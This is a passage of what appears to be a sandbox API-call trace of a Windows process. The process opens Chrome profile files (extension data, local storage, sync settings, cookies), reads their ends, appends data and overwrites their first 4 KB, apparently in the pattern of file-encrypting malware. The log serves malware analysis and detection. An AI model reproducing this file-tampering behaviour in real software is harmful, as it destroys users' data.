Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0050.762] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.762] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x404b [0050.762] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.762] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.762] ReleaseMutex (hMutex=0x128) returned 1 [0050.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.762] ReadFile (in: hFile=0x1d4, lpBuffer=0x276c788, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x276c788*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.771] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x304b [0050.771] ReadFile (in: hFile=0x1d4, lpBuffer=0x276c788, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x276c788*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.790] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x304b [0050.790] WriteFile (in: hFile=0x1d4, lpBuffer=0x276c788*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c788*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0050.791] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0050.791] WriteFile (in: hFile=0x1d4, lpBuffer=0x276c788*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c788*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0050.791] CloseHandle (hObject=0x1d4) returned 1 [0050.791] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0050.792] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.792] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x3e5d [0050.792] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0050.792] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.792] ReleaseMutex (hMutex=0x128) returned 1 [0050.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0050.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0050.792] ReadFile (in: hFile=0x1d4, lpBuffer=0x276c788, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x276c788*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.218] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x2e5d [0051.218] ReadFile (in: hFile=0x1d4, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.219] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x2e5d [0051.219] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dac638*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.226] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0051.226] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dac638*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0051.226] CloseHandle (hObject=0x1d4) returned 1 [0051.226] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.227] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.227] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x3f8b [0051.227] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.227] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.227] ReleaseMutex (hMutex=0x128) returned 1 [0051.227] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.227] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.227] ReadFile (in: hFile=0x1d4, lpBuffer=0x1dac638, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.228] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x2f8b [0051.228] ReadFile (in: hFile=0x1d4, lpBuffer=0x1dac638, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.229] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x2f8b [0051.229] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dac638*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.230] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0051.230] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dac638*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0051.230] CloseHandle (hObject=0x1d4) returned 1 [0051.230] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.230] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.230] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x407a [0051.231] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.231] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.231] ReleaseMutex (hMutex=0x128) returned 1 [0051.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.231] ReadFile (in: hFile=0x1d4, lpBuffer=0x1dac638, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.232] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x307a [0051.232] ReadFile (in: hFile=0x1d4, lpBuffer=0x1dac638, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.233] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x307a [0051.233] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dac638*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.233] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0051.233] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dac638*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0051.234] CloseHandle (hObject=0x1d4) returned 1 [0051.234] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.234] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.234] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x3d11 [0051.234] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.234] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.234] ReleaseMutex (hMutex=0x128) returned 1 [0051.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.234] ReadFile (in: hFile=0x1d4, lpBuffer=0x1dac638, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.236] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x2d11 [0051.236] ReadFile (in: hFile=0x1d4, lpBuffer=0x1dac638, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.237] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x2d11 [0051.237] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dac638*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.237] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0051.237] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dac638*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0051.238] CloseHandle (hObject=0x1d4) returned 1 [0051.238] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local storage\\chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.239] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.239] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x3000 [0051.239] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.239] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.239] ReleaseMutex (hMutex=0x128) returned 1 [0051.239] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", cchWideChar=64, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0051.239] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", cchWideChar=64, lpMultiByteStr=0x1e956f4, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="chrome-extension_pkedcjkdefgpdelpbcmbmeomcjbeemfm_0.localstorage", lpUsedDefaultChar=0x0) returned 64 [0051.239] ReadFile (in: hFile=0x1d4, lpBuffer=0x1dac638, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.241] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x2000 [0051.241] ReadFile (in: hFile=0x1d4, lpBuffer=0x1dac638, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.241] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x2000 [0051.241] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dac638*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.242] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0051.242] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dac638*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0051.242] CloseHandle (hObject=0x1d4) returned 1 [0051.242] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\current"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.244] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.244] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x10 [0051.244] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.244] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.244] ReleaseMutex (hMutex=0x128) returned 1 [0051.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CURRENT", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0051.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CURRENT", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CURRENT", lpUsedDefaultChar=0x0) returned 7 [0051.244] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e63348, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e63348*, lpNumberOfBytesRead=0x318f2bc*=0x10, lpOverlapped=0x0) returned 1 [0051.245] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.245] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x598, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x318f2d0*=0x598, lpOverlapped=0x0) returned 1 [0051.245] CloseHandle (hObject=0x1d4) returned 1 [0051.245] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing cookies"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.245] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.245] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1c00 [0051.246] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.246] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.246] ReleaseMutex (hMutex=0x128) returned 1 [0051.246] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Safe Browsing Cookies", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0051.246] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Safe Browsing Cookies", cchWideChar=21, lpMultiByteStr=0x1e78974, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Safe Browsing Cookies", lpUsedDefaultChar=0x0) returned 21 [0051.246] ReadFile (in: hFile=0x1d4, lpBuffer=0x1dac638, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesRead=0x318f2bc*=0x1c00, lpOverlapped=0x0) returned 1 [0051.247] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.248] WriteFile (in: hFile=0x1d4, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x2188, lpNumberOfBytesWritten=0x318f2d0, 